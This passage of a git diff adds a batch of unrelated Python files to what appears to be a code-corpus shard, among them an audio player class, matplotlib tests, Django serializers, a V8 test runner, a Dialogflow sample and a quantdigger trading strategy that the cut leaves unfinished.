+            extra_settings=extra_settings)
+    except Exception as exp:
+        raise RuntimeError('Could not set up %s:\n%s' % (param_str, exp))
+    assert mixer.channels == n_channels
+    if fs is None:
+        param_str += ' @ %d Hz' % (mixer.samplerate,)
+    else:
+        assert mixer.samplerate == fs
+
+    mixer.start()
+    assert mixer.active
+    logger.info('Expyfun: using %s, %0.1f ms nominal latency'
+                % (param_str, 1000 * device['default_low_output_latency']))
+    atexit.register(lambda: (mixer.abort(), mixer.close()))
+    return mixer
+
+
+class SoundPlayer(object):
+    """SoundPlayer based on rtmixer."""
+
+    def __init__(self, data, fs=None, loop=False, api=None, name=None,
+                 fixed_delay=None, api_options=None):
+        data = np.atleast_2d(data).T
+        data = np.asarray(data, np.float32, 'C')
+        self._data = data
+        self.loop = bool(loop)
+        self._n_samples, n_channels = self._data.shape
+        assert n_channels >= 1
+        self._n_channels = n_channels
+        self._mixer = None  # in case the next line crashes, __del__ works
+        self._mixer = _get_mixer(fs, self._n_channels, api, name, api_options)
+        if loop:
+            self._ring = RingBuffer(self._data.itemsize * self._n_channels,
+                                    self._data.size)
+            self._ring.write(self._data)
+        self._fs = float(self._mixer.samplerate)
+        self._ec_duration = self._n_samples / self._fs
+        self._action = None
+        self._fixed_delay = fixed_delay
+        if fixed_delay is not None:
+            logger.info('Expyfun: Using fixed audio delay %0.1f ms'
+                        % (1000 * fixed_delay,))
+        else:
+            logger.info('Expyfun: Variable audio delay')
+
+    @property
+    def fs(self):
+        return self._fs
+
+    @property
+    def playing(self):
+        return self._action is not None and self._mixer is not None
+
+    @property
+    def _start_time(self):
+        if self._fixed_delay is not None:
+            return self._mixer.time + self._fixed_delay
+        else:
+            return 0.
+
+    def play(self):
+        """Play."""
+        if not self.playing and self._mixer is not None:
+            if self.loop:
+                self._action = self._mixer.play_ringbuffer(
+                    self._ring, start=self._start_time)
+            else:
+                self._action = self._mixer.play_buffer(
+                    self._data, self._data.shape[1], start=self._start_time)
+
+    def stop(self, wait=True, extra_delay=0.):
+        """Stop."""
+        if self.playing:
+            action, self._action = self._action, None
+            # Impose the same delay here that we imposed on the stim start
+            cancel_action = self._mixer.cancel(
+                action, time=self._start_time + extra_delay)
+            if wait:
+                self._mixer.wait(cancel_action)
+            else:
+                return cancel_action
+
+    def delete(self):
+        """Delete."""
+        if getattr(self, '_mixer', None) is not None:
+            self.stop(wait=False)
+            mixer, self._mixer = self._mixer, None
+            stats = mixer.fetch_and_reset_stats().stats
+            logger.exp('%d underflows %d blocks'
+                       % (stats.output_underflows, stats.blocks))
+
+    def __del__(self):  # noqa
+        self.delete()
diff --git a/pool/shard000/Python/0008545_base.py b/pool/shard000/Python/0008545_base.py
new file mode 100644
index 0000000000000000000000000000000000000000..b2233a3e4ddc81eab019c873a7c620726a4351f8
--- /dev/null
+++ b/pool/shard000/Python/0008545_base.py
@@ -0,0 +1,22 @@
+from pypom import Page, Region
+from selenium.webdriver.common.by import By
+
+
+class Base(Page):
+
+    def __init__(self, driver, base_url=None, timeout=20, **url_kwargs):
+        super(Base, self).__init__(driver, base_url, timeout, **url_kwargs)
+
+    @property
+    def header(self):
+        return self.Header(self)
+
+    class Header(Region):
+
+        _root_locator = (By.ID, 'th-global-navbar')
+        _dropdown_menu_switch_page_locator = (By.CSS_SELECTOR, 'ul.show > li a')
+        _dropdown_menu_locator = (By.ID, 'th-logo')
+
+        def switch_page_using_dropdown(self):
+            self.find_element(*self._dropdown_menu_locator).click()
+            self.find_element(*self._dropdown_menu_switch_page_locator).click()
diff --git a/pool/shard000/Python/0008547_test_bbox_tight.py b/pool/shard000/Python/0008547_test_bbox_tight.py
new file mode 100644
index 0000000000000000000000000000000000000000..b00dfe6240015f558fdab41520618eed6ce4a4f2
--- /dev/null
+++ b/pool/shard000/Python/0008547_test_bbox_tight.py
@@ -0,0 +1,83 @@
+from matplotlib import rcParams
+from matplotlib.testing.decorators import image_comparison
+import matplotlib.pyplot as plt
+import matplotlib.path as mpath
+import matplotlib.patches as mpatches
+from matplotlib.ticker import FuncFormatter
+import numpy as np
+
+@image_comparison(baseline_images=['bbox_inches_tight'], remove_text=True,
+                  savefig_kwarg=dict(bbox_inches='tight'), tol=15)
+def test_bbox_inches_tight():
+    "Test that a figure saved using bbox_inches'tight' is clipped right"
+    data = [[  66386,  174296,   75131,  577908,   32015],
+            [  58230,  381139,   78045,   99308,  160454],
+            [  89135,   80552,  152558,  497981,  603535],
+            [  78415,   81858,  150656,  193263,   69638],
+            [ 139361,  331509,  343164,  781380,   52269]]
+
+    colLabels = rowLabels = [''] * 5
+
+    rows = len(data)
+    ind = np.arange(len(colLabels)) + 0.3  # the x locations for the groups
+    cellText = []
+    width = 0.4     # the width of the bars
+    yoff = np.array([0.0] * len(colLabels))
+    # the bottom values for stacked bar chart
+    fig, ax = plt.subplots(1,1)
+    for row in range(rows):
+        plt.bar(ind, data[row], width, bottom=yoff)
+        yoff = yoff + data[row]
+        cellText.append([''])
+    plt.xticks([])
+    plt.legend([''] * 5, loc = (1.2, 0.2))
+    # Add a table at the bottom of the axes
+    cellText.reverse()
+    the_table = plt.table(cellText=cellText,
+                          rowLabels=rowLabels,
+                          colLabels=colLabels, loc='bottom')
+
+
+@image_comparison(baseline_images=['bbox_inches_tight_suptile_legend'],
+                  remove_text=False, savefig_kwarg={'bbox_inches': 'tight'})
+def test_bbox_inches_tight_suptile_legend():
+    plt.plot(list(range(10)), label='a straight line')
+    plt.legend(bbox_to_anchor=(0.9, 1), loc=2, )
+    plt.title('Axis title')
+    plt.suptitle('Figure title')
+
+    # put an extra long y tick on to see that the bbox is accounted for
+    def y_formatter(y, pos):
+        if int(y) == 4:
+            return 'The number 4'
+        else:
+            return str(y)
+    plt.gca().yaxis.set_major_formatter(FuncFormatter(y_formatter))
+
+    plt.xlabel('X axis')
+
+
+@image_comparison(baseline_images=['bbox_inches_tight_clipping'],
+                  remove_text=True, savefig_kwarg={'bbox_inches': 'tight'})
+def test_bbox_inches_tight_clipping():
+    # tests bbox clipping on scatter points, and path clipping on a patch
+    # to generate an appropriately tight bbox
+    plt.scatter(list(range(10)), list(range(10)))
+    ax = plt.gca()
+    ax.set_xlim([0, 5])
+    ax.set_ylim([0, 5])
+
+    # make a massive rectangle and clip it with a path
+    patch = mpatches.Rectangle([-50, -50], 100, 100,
+                           transform=ax.transData,
+                           facecolor='blue', alpha=0.5)
+
+    path = mpath.Path.unit_regular_star(5).deepcopy()
+    path.vertices *= 0.25
+    patch.set_clip_path(path, transform=ax.transAxes)
+    plt.gcf().artists.append(patch)
+
+
+if __name__ == '__main__':
+    import nose
+    nose.runmodule(argv=['-s', '--with-doctest'], exit=False)
diff --git a/pool/shard000/Python/0008548_get-access.py b/pool/shard000/Python/0008548_get-access.py
new file mode 100644
index 0000000000000000000000000000000000000000..73f1cfcc8d1f371fbb6f9a87b8e45cde7089508b
--- /dev/null
+++ b/pool/shard000/Python/0008548_get-access.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+"""
+argv[1]: eventType
+argv[2]: eventId
+"""
+
+import sys
+import os
+import requests
+
+from pprint import pprint
+
+host = os.getenv("STARCAL_HOST", "127.0.0.1")
+token = os.getenv("STARCAL_TOKEN")
+if not token:
+	print("Please set and export STARCAL_TOKEN")
+	sys.exit(1)
+
+eventType, eventId = sys.argv[1:3]
+
+r = requests.get(
+	f"http://{host}:9001/event/{eventType}/{eventId}/access/",
+	headers={"Authorization": "bearer " + token},
+)
+print(r)
+try:
+	data = r.json()
+except:
+	print("data is not json")
+	print(r.text)
+else:
+	error = data.get("error", "")
+	if error:
+		print(error)
+	else:
+		pprint(data, width=80)
diff --git a/pool/shard000/Python/0008551_TestModuleCatalog.py b/pool/shard000/Python/0008551_TestModuleCatalog.py
new file mode 100644
index 0000000000000000000000000000000000000000..9e89c6a6dedd52e4a6778387c045dfc331b6dbe2
--- /dev/null
+++ b/pool/shard000/Python/0008551_TestModuleCatalog.py
@@ -0,0 +1,87 @@
+#  -*- coding: iso-8859-1 -*-
+# Copyright (C) 2007-2016  CEA/DEN, EDF R&D, OPEN CASCADE
+#
+# Copyright (C) 2003-2007  OPEN CASCADE, EADS/CCR, LIP6, CEA/DEN,
+# CEDRAT, EDF R&D, LEG, PRINCIPIA R&D, BUREAU VERITAS
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
+#
+# See http://www.salome-platform.org/ or email : webmaster.salome@opencascade.com
+#
+
+import batchmode_salome
+import SALOME_ModuleCatalog
+
+print
+print "======================================================================"
+print "           XML Catalog file generation from idl file"
+print "======================================================================"
+
+import os
+os.system('runIDLparser -Wbcatalog=x \
+                 ${KERNEL_ROOT_DIR}/idl/salome/SALOME_TestModuleCatalog.idl')
+
+print "======================================================================"
+print "           Get Catalog "
+print "======================================================================"
+obj = batchmode_salome.naming_service.Resolve('Kernel/ModulCatalog')
+catalog = obj._narrow(SALOME_ModuleCatalog.ModuleCatalog)
+catalog.GetComponentList()
+
+print 
+print "======================================================================"
+print "           Import xml file "
+print "======================================================================"
+catalog.ImportXmlCatalogFile("x.xml")
+
+name = "AddComponent"
+print 
+print "======================================================================"
+print "           Dump component <", name, "> "
+print "======================================================================"
+C = catalog.GetComponent(name)
+
+print "name       : ", C._get_componentname()
+print "username   : ", C._get_componentusername()
+print "type       : ", C._get_component_type()
+print "constraint : ", C._get_constraint()
+print "icon       : ", C._get_component_icone()
+
+for iL in C.GetInterfaceList():
+    I = C.GetInterface(iL)
+    print "interface  : ", I.interfacename
+    for S in I.interfaceservicelist:
+        print "  service : ", S.ServiceName
+        print "    ", len(S.ServiceinParameter), "in params : "
+        for iP in S.ServiceinParameter:
+            print '      ' + iP.Parametername + '(' + iP.Parametertype + ')'
+            pass
+        print "    ", len(S.ServiceoutParameter), "out params : "
+        for iP in S.ServiceoutParameter:
+            print '      ' + iP.Parametername + '(' + iP.Parametertype + ')'
+            pass
+        print "    ", len(S.ServiceinDataStreamParameter), "in datastream params : "
+        for iP in S.ServiceinDataStreamParameter:
+            print '      ' + iP.Parametername + '(' + str(iP.Parametertype) + ', ' + \
+                  str(iP.Parameterdependency) + ')'
+            pass
+        print "    ", len(S.ServiceoutDataStreamParameter), "out datastream params : "
+        for iP in S.ServiceoutDataStreamParameter:
+            print '      ' + iP.Parametername + '(' + str(iP.Parametertype) + ', ' + \
+                  str(iP.Parameterdependency) + ')'
+            pass
+        pass
+    pass
+
diff --git a/pool/shard000/Python/0008552_genetic.py b/pool/shard000/Python/0008552_genetic.py
new file mode 100644
index 0000000000000000000000000000000000000000..01fe3ace430dcc1631bfd89a45bf6f734623b7b3
--- /dev/null
+++ b/pool/shard000/Python/0008552_genetic.py
@@ -0,0 +1,32 @@
+import species
+import random
+
+def combine_and_mutate(parent_a, parent_b):
+    new = species.mutate(species.combine(parent_a, parent_b))
+    assert is_valid(new)
+    return new
+
+def random_individual_parameters():
+    parameters = {}
+    domains = species.domains()
+    for param in domains:
+        parameters[param] = random.choice(domains[param])
+    return parameters
+
+# check if all parameters are in domain
+def is_valid(parameters):
+    return True # yolo
+    domains = species.domains()
+    covered = set()
+    for param in parameters:
+        covered.add(param)
+        value = parameters[param]
+        if value not in domains[param]:
+            return False
+    return covered == set(domains.keys())
+
+def combine_random(parent_a, parent_b):
+    new = {}
+    for param in parent_a:
+        new[param] = random.choice([parent_a, parent_b])[param]
+    return new
diff --git a/pool/shard000/Python/0008553_plain_text_table.py b/pool/shard000/Python/0008553_plain_text_table.py
new file mode 100644
index 0000000000000000000000000000000000000000..95098dadb9a3cc126795256eee3fa1f1d0534f3e
--- /dev/null
+++ b/pool/shard000/Python/0008553_plain_text_table.py
@@ -0,0 +1,127 @@
+# -*- coding: utf-8 -*-
+#
+# Copyright 2020 University of Oslo, Norway
+#
+# This file is part of Cerebrum.
+#
+# Cerebrum is free software; you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# Cerebrum is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Cerebrum; if not, write to the Free Software Foundation,
+# Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.
+"""Functionality for generating plain text tables from tables represented by
+lists
+"""
+from __future__ import unicode_literals
+
+from six import itertools
+
+
+def get_cell_content(text, cell_width):
+    return text + (cell_width - len(text)) * ' '
+
+
+def get_cell_contents(texts, cell_widths):
+    return [get_cell_content(t, l) for t, l in zip(texts, cell_widths)]
+
+
+def assemble_line(divider, cell_contents):
+    return divider + divider.join(cell_contents) + divider
+
+
+def get_padded_contents(content, cell_height):
+    if isinstance(content, unicode):
+        content = [content]
+    content.extend(['' for x in range(len(content), cell_height)])
+    return content
+
+
+def assemble_row(divider, row, widths):
+    row_height = get_row_height(row)
+    content = [get_padded_contents(content, row_height) for content in row]
+    lines = [assemble_line(divider, get_cell_contents(c, widths)) for c in
+             transpose(content)]
+    return '\n'.join(lines)
+
+
+def get_column_width(argument):
+    """Get the widest width of the columns given
+
+    :type argument: list or unicode
+    """
+    if isinstance(argument, unicode):
+        return len(argument)
+    if isinstance(argument, list):
+        return max(*map(get_column_width, argument))
+    raise TypeError('Argument %s type: %s', argument, type(argument))
+
+
+def get_column_widths(columns):
+    """Get the width of each column
+
+    :type columns: list
+    Example:
+
+    >>> get_column_widths(['c1,r1', 'c1,r2', ['c1,r3,l1', 'c1,r3,l2']])
+    8
+    """
+    return map(get_column_width, columns)
+
+
+def get_cell_height(cell_content):
+    if isinstance(cell_content, list):
+        return len(cell_content)
+    elif isinstance(cell_content, unicode):
+        return 1
+    raise TypeError('Cell content type: %s', type(cell_content))
+
+
+def get_row_height(row):
+    return max(*map(get_cell_height, row))
+
+
+def transpose(table):
+    """Transpose a table represented by a list of lists
+
+    Example:
+
+    >>> transpose([[1, 2], [3, 4]])
+    [[1, 3], [2, 4]]
+    """
+    return list(itertools.imap(list, zip(*table)))
+
+
+def get_table(table_rows):
+    """Assembles and returns a plain text table
+
+     Given the rows which make up a table, a correctly formatted table is
+     returned.
+
+     Example:
+
+     >>> table = get_table([['This', 'is'], ['a', 'table']])
+     >>> print(table)
+     +----+-----+
+     |This|is   |
+     +----+-----+
+     |a   |table|
+     +----+-----+
+    """
+    columns = transpose(table_rows)
+    column_widths = get_column_widths(columns)
+    separators = map(lambda length: length * '-', column_widths)
+    divider_line = assemble_line('+', separators)
+
+    output_rows = '\n' + divider_line + '\n'
+    for row in table_rows:
+        row_content_lines = assemble_row('|', row, column_widths)
+        output_rows += row_content_lines + '\n' + divider_line + '\n'
+    return output_rows
diff --git a/pool/shard000/Python/0008554_serializers.py b/pool/shard000/Python/0008554_serializers.py
new file mode 100644
index 0000000000000000000000000000000000000000..6958f2da1dc71f0d81be1365809497d1a0660b76
--- /dev/null
+++ b/pool/shard000/Python/0008554_serializers.py
@@ -0,0 +1,91 @@
+from django.contrib.auth.models import Group, User
+
+from rest_framework import serializers
+
+from remo.api.serializers import BaseKPISerializer
+from remo.base.templatetags.helpers import absolutify
+from remo.profiles.models import FunctionalArea, UserProfile, MobilisingInterest, MobilisingSkill
+
+
+class FunctionalAreaSerializer(serializers.ModelSerializer):
+    """Serializer for the FunctionalArea model."""
+
+    class Meta:
+        model = FunctionalArea
+        queryset = FunctionalArea.objects.filter(active=True)
+        fields = ['name']
+
+
+class MobilisingSkillSerializer(serializers.ModelSerializer):
+    """Serializer for the MobilisingSkill model."""
+
+    class Meta:
+        model = MobilisingSkill
+        queryset = MobilisingSkill.objects.filter(active=True)
+        fields = ['name']
+
+
+class MobilisingInterestSerializer(serializers.ModelSerializer):
+    """Serializer for the MobilisingInterest model."""
+
+    class Meta:
+        model = MobilisingInterest
+        queryset = MobilisingInterest.objects.filter(active=True)
+        fields = ['name']
+
+
+class UserSerializer(serializers.HyperlinkedModelSerializer):
+    """Serializer for the django User model."""
+    display_name = serializers.ReadOnlyField(source='userprofile.display_name')
+
+    class Meta:
+        model = User
+        fields = ['first_name', 'last_name', 'display_name', '_url']
+
+
+class GroupSerializer(serializers.ModelSerializer):
+    """Serializer for the Group model."""
+
+    class Meta:
+        model = Group
+        fields = ['name']
+
+
+class UserProfileDetailedSerializer(serializers.HyperlinkedModelSerializer):
+    """Detailed serializer for the UserProfile model."""
+    first_name = serializers.ReadOnlyField(source='user.first_name')
+    last_name = serializers.ReadOnlyField(source='user.last_name')
+    mentor = UserSerializer()
+    groups = GroupSerializer(source='user.groups', many=True)
+    functional_areas = FunctionalAreaSerializer(many=True)
+    mobilising_skills = MobilisingSkillSerializer(many=True)
+    mobilising_interests = MobilisingInterestSerializer(many=True)
+    remo_url = serializers.SerializerMethodField()
+    date_joined_program = serializers.DateTimeField(format='%Y-%m-%d')
+    date_left_program = serializers.DateTimeField(format='%Y-%m-%d')
+
+    class Meta:
+        model = UserProfile
+        # Todo add logic for mozillians_username
+        fields = ['first_name', 'last_name', 'display_name',
+                  'date_joined_program', 'date_left_program', 'city', 'region',
+                  'country', 'twitter_account', 'jabber_id', 'irc_name',
+                  'wiki_profile_url', 'irc_channels', 'linkedin_url',
+                  'facebook_url', 'diaspora_url', 'functional_areas', 'mobilising_skills',
+                  'mobilising_interests', 'bio', 'mentor', 'mozillians_profile_url',
+                  'timezone', 'groups', 'remo_url']
+
+    def get_remo_url(self, obj):
+        """
+        Default method for fetching the profile url for the user
+        in ReMo portal.
+        """
+        return absolutify(obj.get_absolute_url())
+
+
+class PeopleKPISerializer(BaseKPISerializer):
+    """Serializer for people (Reps) data."""
+    inactive_week = serializers.IntegerField()
+    casual_week = serializers.IntegerField()
+    active_week = serializers.IntegerField()
+    core_week = serializers.IntegerField()
diff --git a/pool/shard000/Python/0008556_testSwitch.py b/pool/shard000/Python/0008556_testSwitch.py
new file mode 100644
index 0000000000000000000000000000000000000000..e77f5364fb81d1cb34a083aace70d7b47d3f8fc6
--- /dev/null
+++ b/pool/shard000/Python/0008556_testSwitch.py
@@ -0,0 +1,13 @@
+import RPi.GPIO as GPIO
+import time
+
+waitTime = 2
+outPin = 24
+GPIO.setmode(GPIO.BOARD)
+GPIO.setup(outPin, GPIO.OUT, pull_up_down = GPIO.PUD_DOWN)
+
+while True:
+    GPIO.output(outPin,True) ## This triggers the switch
+    time.sleep(waitTime)
+    GPIO.output(outPin, False)
+    time.sleep(waitTime)
diff --git a/pool/shard000/Python/0008557_execution.py b/pool/shard000/Python/0008557_execution.py
new file mode 100644
index 0000000000000000000000000000000000000000..ac69eab3c912c81f4a7eeb78ab727a0055e6503f
--- /dev/null
+++ b/pool/shard000/Python/0008557_execution.py
@@ -0,0 +1,168 @@
+# Copyright 2012 the V8 project authors. All rights reserved.
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above
+#       copyright notice, this list of conditions and the following
+#       disclaimer in the documentation and/or other materials provided
+#       with the distribution.
+#     * Neither the name of Google Inc. nor the names of its
+#       contributors may be used to endorse or promote products derived
+#       from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+import os
+import time
+
+from pool import Pool
+from . import commands
+from . import perfdata
+from . import utils
+
+
+class Job(object):
+  def __init__(self, command, dep_command, test_id, timeout, verbose):
+    self.command = command
+    self.dep_command = dep_command
+    self.id = test_id
+    self.timeout = timeout
+    self.verbose = verbose
+
+
+def RunTest(job):
+  start_time = time.time()
+  if job.dep_command is not None:
+    dep_output = commands.Execute(job.dep_command, job.verbose, job.timeout)
+    # TODO(jkummerow): We approximate the test suite specific function
+    # IsFailureOutput() by just checking the exit code here. Currently
+    # only cctests define dependencies, for which this simplification is
+    # correct.
+    if dep_output.exit_code != 0:
+      return (job.id, dep_output, time.time() - start_time)
+  output = commands.Execute(job.command, job.verbose, job.timeout)
+  return (job.id, output, time.time() - start_time)
+
+class Runner(object):
+
+  def __init__(self, suites, progress_indicator, context):
+    datapath = os.path.join("out", "testrunner_data")
+    self.perf_data_manager = perfdata.PerfDataManager(datapath)
+    self.perfdata = self.perf_data_manager.GetStore(context.arch, context.mode)
+    self.tests = [ t for s in suites for t in s.tests ]
+    if not context.no_sorting:
+      for t in self.tests:
+        t.duration = self.perfdata.FetchPerfData(t) or 1.0
+      self.tests.sort(key=lambda t: t.duration, reverse=True)
+    self._CommonInit(len(self.tests), progress_indicator, context)
+
+  def _CommonInit(self, num_tests, progress_indicator, context):
+    self.indicator = progress_indicator
+    progress_indicator.runner = self
+    self.context = context
+    self.succeeded = 0
+    self.total = num_tests
+    self.remaining = num_tests
+    self.failed = []
+    self.crashed = 0
+
+  def Run(self, jobs):
+    self.indicator.Starting()
+    self._RunInternal(jobs)
+    self.indicator.Done()
+    if self.failed or self.remaining:
+      return 1
+    return 0
+
+  def _RunInternal(self, jobs):
+    pool = Pool(jobs)
+    test_map = {}
+    # TODO(machenbach): Instead of filling the queue completely before
+    # pool.imap_unordered, make this a generator that already starts testing
+    # while the queue is filled.
+    queue = []
+    queued_exception = None
+    for test in self.tests:
+      assert test.id >= 0
+      test_map[test.id] = test
+      try:
+        command = self.GetCommand(test)
+      except Exception, e:
+        # If this failed, save the exception and re-raise it later (after
+        # all other tests have had a chance to run).
+        queued_exception = e
+        continue
+      timeout = self.context.timeout
+      if ("--stress-opt" in test.flags or
+          "--stress-opt" in self.context.mode_flags or
+          "--stress-opt" in self.context.extra_flags):
+        timeout *= 4
+      if test.dependency is not None:
+        dep_command = [ c.replace(test.path, test.dependency) for c in command ]
+      else:
+        dep_command = None
+      job = Job(command, dep_command, test.id, timeout, self.context.verbose)
+      queue.append([job])
+    try:
+      it = pool.imap_unordered(RunTest, queue)
+      for result in it:
+        test = test_map[result[0]]
+        self.indicator.AboutToRun(test)
+        test.output = result[1]
+        test.duration = result[2]
+        has_unexpected_output = test.suite.HasUnexpectedOutput(test)
+        if has_unexpected_output:
+          self.failed.append(test)
+          if test.output.HasCrashed():
+            self.crashed += 1
+        else:
+          self.succeeded += 1
+        self.remaining -= 1
+        try:
+          self.perfdata.UpdatePerfData(test)
+        except Exception, e:
+          print("UpdatePerfData exception: %s" % e)
+          pass  # Just keep working.
+        self.indicator.HasRun(test, has_unexpected_output)
+    finally:
+      pool.terminate()
+      self.perf_data_manager.close()
+    if queued_exception:
+      raise queued_exception
+
+
+  def GetCommand(self, test):
+    d8testflag = []
+    shell = test.suite.shell()
+    if shell == "d8":
+      d8testflag = ["--test"]
+    if utils.IsWindows():
+      shell += ".exe"
+    cmd = (self.context.command_prefix +
+           [os.path.abspath(os.path.join(self.context.shell_dir, shell))] +
+           d8testflag +
+           ["--random-seed=%s" % self.context.random_seed] +
+           test.suite.GetFlagsForTestCase(test, self.context) +
+           self.context.extra_flags)
+    return cmd
+
+
+class BreakNowException(Exception):
+  def __init__(self, value):
+    self.value = value
+  def __str__(self):
+    return repr(self.value)
diff --git a/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py b/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py
new file mode 100644
index 0000000000000000000000000000000000000000..9f001764a0f41489355c4bfda729cd8146f7d706
--- /dev/null
+++ b/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py
@@ -0,0 +1,46 @@
+# -*- coding: utf-8 -*-
+# Copyright 2022 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Generated code. DO NOT EDIT!
+#
+# Snippet for ListParticipants
+# NOTE: This snippet has been automatically generated for illustrative purposes only.
+# It may require modifications to work in your environment.
+
+# To install the latest published package dependency, execute the following:
+#   python3 -m pip install google-cloud-dialogflow
+
+
+# [START dialogflow_v2_generated_Participants_ListParticipants_async]
+from google.cloud import dialogflow_v2
+
+
+async def sample_list_participants():
+    # Create a client
+    client = dialogflow_v2.ParticipantsAsyncClient()
+
+    # Initialize request argument(s)
+    request = dialogflow_v2.ListParticipantsRequest(
+        parent="parent_value",
+    )
+
+    # Make the request
+    page_result = client.list_participants(request=request)
+
+    # Handle the response
+    async for response in page_result:
+        print(response)
+
+# [END dialogflow_v2_generated_Participants_ListParticipants_async]
diff --git a/pool/shard000/Python/0008561_chooser.py b/pool/shard000/Python/0008561_chooser.py
new file mode 100644
index 0000000000000000000000000000000000000000..3a67c3ec4cd172fce64deeee68d1647c3628d89f
--- /dev/null
+++ b/pool/shard000/Python/0008561_chooser.py
@@ -0,0 +1,59 @@
+import json
+from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
+
+from six import text_type
+
+from django.core.urlresolvers import reverse
+from django.shortcuts import get_object_or_404
+
+from wagtail.wagtailadmin.modal_workflow import render_modal_workflow
+
+from wagtail.wagtailsnippets.views.snippets import get_content_type_from_url_params, get_snippet_type_name
+
+
+def choose(request, content_type_app_name, content_type_model_name):
+    content_type = get_content_type_from_url_params(content_type_app_name, content_type_model_name)
+    model = content_type.model_class()
+    snippet_type_name = get_snippet_type_name(content_type)[0]
+
+    items = model.objects.all()
+
+    p = request.GET.get("p", 1)
+    paginator = Paginator(items, 25)
+
+    try:
+        paginated_items = paginator.page(p)
+    except PageNotAnInteger:
+        paginated_items = paginator.page(1)
+    except EmptyPage:
+        paginated_items = paginator.page(paginator.num_pages)
+
+    return render_modal_workflow(
+        request,
+        'wagtailsnippets/chooser/choose.html', 'wagtailsnippets/chooser/choose.js',
+        {
+            'content_type': content_type,
+            'snippet_type_name': snippet_type_name,
+            'items': paginated_items,
+        }
+    )
+
+
+def chosen(request, content_type_app_name, content_type_model_name, id):
+    content_type = get_content_type_from_url_params(content_type_app_name, content_type_model_name)
+    model = content_type.model_class()
+    item = get_object_or_404(model, id=id)
+
+    snippet_json = json.dumps({
+        'id': item.id,
+        'string': text_type(item),
+        'edit_link': reverse('wagtailsnippets_edit', args=(content_type_app_name, content_type_model_name, item.id,))
+    })
+
+    return render_modal_workflow(
+        request,
+        None, 'wagtailsnippets/chooser/chosen.js',
+        {
+            'snippet_json': snippet_json,
+        }
+    )
diff --git a/pool/shard000/Python/0008565_quantdigger_test.py b/pool/shard000/Python/0008565_quantdigger_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..f4bd3eff8ecf49b78dc2e62901480157fe5d93f7
--- /dev/null
+++ b/pool/shard000/Python/0008565_quantdigger_test.py
@@ -0,0 +1,75 @@
+#from quantdigger.engine.series import NumberSeries
+#from quantdigger.indicators.common import MA
+#from quantdigger.util import  pcontract
+from quantdigger import *
+import six
+
+class DemoStrategy(Strategy):
+    """ 策略A1 """
+
+    def on_init(self, ctx):
+        """初始化数据"""
+        ctx.ma10 = MA(ctx.close, 10, 'ma10', 'y', 2)
+        ctx.ma20 = MA(ctx.close, 20, 'ma20', 'b', 2)
+
+    def on_symbol(self, ctx):
+        """  选股 """
+        return
+
+    def on_bar(self, ctx):
+        if ctx.curbar > 20:
+            if ctx.ma10[2] < ctx.ma20[2] and ctx.ma10[1] > ctx.ma20[1]:
+                ctx.buy(ctx.close, 1)
+            elif ctx.pos() > 0 and ctx.ma10[2] > ctx.ma20[2] and \
+                 ctx.ma10[1] < ctx.ma20[1]:
+                ctx.sell(ctx.close, ctx.pos())
+
+    def on_exit(self, ctx):
+        return
+
+class DemoStrategy2(Strategy):
+    """ 策略A2 """
+
+    def on_init(self, ctx):
+        """初始化数据"""
+        ctx.ma5 = MA(ctx.close, 5, 'ma5', 'y', 2)
+        ctx.ma10 = MA(ctx.close, 10, 'ma10', 'black', 2)
+
+    def on_symbol(self, ctx):
+        """  选股 """
+        return
+
+    def on_bar(self, ctx):
+        if ctx.curbar > 10:
